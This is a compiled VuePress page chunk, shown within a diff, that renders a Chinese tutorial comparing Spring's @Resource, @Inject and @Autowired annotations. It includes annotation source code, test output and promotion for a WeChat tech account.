punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setRemark")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("我们在使用@Resource注解时,可以通过@Resource注解的name属性显示指定要装配的组件的名称。例如,我们要想装配remark为2的personDao,只需要为@Resource注解添加 "),a("code",[s._v('name="personDao2"')]),s._v("属性即可。如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Resource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"personDao2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("接下来,我们再次运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'2'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,此时输出了remark为2的personDao,说明@Resource注解可以通过name属性显示指定要装配的bean。")]),s._v(" "),a("h3",{attrs:{id:"测试-inject注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试-inject注解"}},[s._v("#")]),s._v(" 测试@Inject注解")]),s._v(" "),a("p",[s._v("在PersonService类中,将@Resource注解注释掉,添加@Inject注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Resource(name = "personDao2")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Inject")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("修改完毕后,我们运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'2'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,使用@Inject注解默认输出的是remark为2的personDao。这是因为@Inject注解和@Autowired注解一样,默认优先装配使用了@Primary注解标注的组件。")]),s._v(" "),a("h2",{attrs:{id:"resource和-inject注解与-autowired注解的区别"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#resource和-inject注解与-autowired注解的区别"}},[s._v("#")]),s._v(" @Resource和@Inject注解与@Autowired注解的区别")]),s._v(" "),a("p",[a("strong",[s._v("不同点")])]),s._v(" "),a("ul",[a("li",[s._v("@Autowired是spring专有注解,@Resource是java中"),a("strong",[s._v("JSR250中的规范")]),s._v(",@Inject是java中"),a("strong",[s._v("JSR330中的规范")])]),s._v(" "),a("li",[s._v("@Autowired支持参数required=false,@Resource,@Inject都不支持")]),s._v(" "),a("li",[s._v("@Autowired,和@Inject支持@Primary注解优先注入,@Resource不支持")]),s._v(" "),a("li",[s._v("@Autowired通过@Qualifier指定注入特定bean,@Resource可以通过参数name指定注入bean,@Inject需要@Named注解指定注入bean")])]),s._v(" "),a("p",[a("strong",[s._v("相同点")])]),s._v(" "),a("p",[s._v("三种注解都可以实现bean的注入。")]),s._v(" "),a("h2",{attrs:{id:"重磅福利"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[s._v("#")]),s._v(" 重磅福利")]),s._v(" "),a("p",[s._v("关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,后台回复 “"),a("strong",[s._v("设计模式")]),s._v("” 关键字领取《"),a("strong",[s._v("深入浅出Java 23种设计模式")]),s._v("》PDF文档。回复“"),a("strong",[s._v("Java8")]),s._v("”关键字领取《"),a("strong",[s._v("Java8新特性教程")]),s._v("》PDF文档。回复“"),a("strong",[s._v("限流")]),s._v("”关键字获取《"),a("strong",[s._v("亿级流量下的分布式限流解决方案")]),s._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),s._v(" "),a("p",[a("font",{attrs:{color:"#FF0000"}},[a("strong",[s._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[120],{661:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"【spring注解驱动开发】你还不会使用-resource和-inject注解-那你就out了"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#【spring注解驱动开发】你还不会使用-resource和-inject注解-那你就out了"}},[s._v("#")]),s._v(" 【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!")]),s._v(" "),a("h2",{attrs:{id:"写在前面"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在前面"}},[s._v("#")]),s._v(" 写在前面")]),s._v(" "),a("blockquote",[a("p",[s._v("我在 "),a("strong",[s._v("冰河技术")]),s._v(" 微信公众号中发表的《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),a("OutboundLink")],1),s._v("》一文中,介绍了如何使用@Autowired、@Qualifier和@Primary注解自动装配Spring组件。那除了这三个注解以外,还有没有其他的注解可以自动装配组件呢?那必须有啊!今天,我们就一起说说@Resource注解和@Inject注解。")]),s._v(" "),a("p",[s._v("关注 "),a("strong",[s._v("冰河技术")]),s._v(" 微信公众号,回复 “Spring注解”关键字领取源码工程。")])]),s._v(" "),a("h2",{attrs:{id:"resource注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#resource注解"}},[s._v("#")]),s._v(" @Resource注解")]),s._v(" "),a("p",[s._v("@Resource(这个注解属于J2EE的,JSR250),默认安照名称进行装配,名称可以通过name属性进行指定, 如果没有指定name属性,当注解写在字段上时,默认取字段名进行按照名称查找,如果注解写在setter方法上默认取属性名进行装配。 当找不到与名称匹配的bean时才按照类型进行装配。但是需要注意的是,如果name属性一旦指定,就只会按照名称进行装配。")]),s._v(" "),a("p",[s._v("@Resource注解的源码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("javax"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("TYPE")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Resource")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("lookup")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("?")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),s._v("Object")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("enum")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONTAINER")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("APPLICATION")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("authenticationType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONTAINER")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("shareable")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("mappedName")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("description")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("h2",{attrs:{id:"inject注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#inject注解"}},[s._v("#")]),s._v(" @Inject注解")]),s._v(" "),a("p",[s._v("@Inject注解(JSR330)默认是根据参数名去寻找bean注入,支持spring的@Primary注解优先注入,@Inject注解可以增加@Named注解指定注入的bean。")]),s._v(" "),a("p",[s._v("@Inject注解的源码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("javax"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("inject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Target")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Retention")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Documented")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("RUNTIME")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("METHOD")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("CONSTRUCTOR")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("FIELD")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),a("span",{pre:!0,attrs:{class:"token 